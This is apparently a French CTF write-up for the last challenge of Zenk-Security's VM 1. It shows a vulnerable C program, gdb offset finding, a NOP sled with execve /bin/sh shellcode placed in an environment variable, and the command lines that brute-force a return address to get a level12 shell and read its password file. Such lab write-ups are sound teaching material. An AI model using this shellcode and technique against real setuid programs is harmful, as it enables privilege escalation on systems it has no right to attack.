Bonjour,

Hier soir j’ai attaqué la VM 1 de Zenk-Security, elle est assez aisée et accessible à tous.

Voici le write-ups du dernier challenge de la VM :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc, char **argv) {
    int arg2size ;
    char bufa[32];
    int arg1size ;
    char bufb[32];

    if(argc != 3) {
        printf("Usage : ./program arg1 arg2\n");
        return -1 ;
    }

    arg1size = strlen(argv[1]);
    arg2size = strlen(argv[2]);

    if(arg1size > sizeof(bufa)){
        printf("arg1 length should be less than 32 bytes\n");
        return -1;
    }

    strcpy(bufa, argv[1]);

    if(arg2size < sizeof(bufb)) {
        printf("arg2 length sould be less than 32 bytes");
        return -1 ;
    }
    strcpy(bufb, argv[2]);
    return 0;
}

A première vu il n’est pas possible d’exploiter quoi que ce soit vu les vérifications de tailles effectuées sur les buffers données en entrées.

Le programme a malgré tout un défaut de taille : strcpy() recopie le zéro de fin, de ce fait on peut re-initialiser la taille de argv[2] (arg2size)à 0 grâce au premier strcpy() et ainsi bypasser le check. Vu qu’on ne re-écrit qu’un seul octet, la contrainte est de ne pas avoir un input dépassant 255 octets (ce qui est largement suffisant ici).

Il nous faut trouver en premier lieu l’offset d’EIP, on va utiliser les patterns metasploit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
level11@VmAppliZenk:~$ gdb -q ./level11

warning: not using untrusted file "/home/level11/.gdbinit"
(gdb) r `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'`
Starting program: /home/level11/level11 `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'`

Program received signal SIGSEGV, Segmentation fault.
0x08048524 in main ()
Current language:  auto; currently asm
(gdb) i r
eax            0x0 0
ecx            0x41346341 1093952321
edx            0x51 81
ebx            0xb7fd8ff4 -1208119308
esp            0x4134633d 0x4134633d
ebp            0x63413563 0x63413563
esi            0x8048540 134513984
edi            0x8048390 134513552
eip            0x8048524 0x8048524 <main+224>
eflags         0x10282 [ SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Donc on contrôle ecx au bout de 72 octets. Esp est étrangement similaire à ECX. En regardant le code du main on peut comprendre pourquoi :

1
2
3
4
5
6
0x08048519 <main+213>: mov    eax,DWORD PTR [ebp-0x58]
0x0804851c <main+216>: add    esp,0x64
0x0804851f <main+219>: pop    ecx
0x08048520 <main+220>: pop    ebp
0x08048521 <main+221>: lea    esp,[ecx-0x4]
0x08048524 <main+224>: ret

On a donc ESP = ECX - 4.

On va maintenant voir comment exploiter ça :).

Bon je vais utiliser les variables d’environnement pour que ce soit plus aisé à manipuler. On va créer une stack avec l’adresse de retour, ce sera utile pour “guesser” à peu près la valeur d’ESP et une variable d’environnement où on aura notre shellcode.

1
2
3
4
5
6
level11@VmAppliZenk:~$ export SC=`python -c 'print "\x90" * 10240 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
level11@VmAppliZenk:~$ /tmp/getenv SC
SC is located at 0xbfffd753
level11@VmAppliZenk:~$ export CSTACK=`python -c 'print "\x60\xd7\xff\xbf" * 100'`
level11@VmAppliZenk:~$ /tmp/getenv CSTACK
CSTACK is located at 0xbfffd59c

Vous pouvez remarquer qu’on met plusieurs fois l’adresse du shellcode sur la stack, on a sûrement pas besoin d’autant mais vu que c’est une variable d’environnement … on a autant de place qu’on veut ;). Ces ret répétés vont permettre le guessing de l’ESP et ainsi avoir une marge d’erreur.

Maintenant qu’on a fini les préparatifs, let’s hack that app’ :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9c\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9d\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9e\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9f\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\xfc\xd5\xff\xbf"'`
sh-3.2$ id
uid=1011(level11) gid=1011(level11) euid=1012(level12) groups=1011(level11)
sh-3.2$ cat /home/level12/password
Le mot de passe est : ********
sh-3.2$ exit
exit

Pawned,

m_101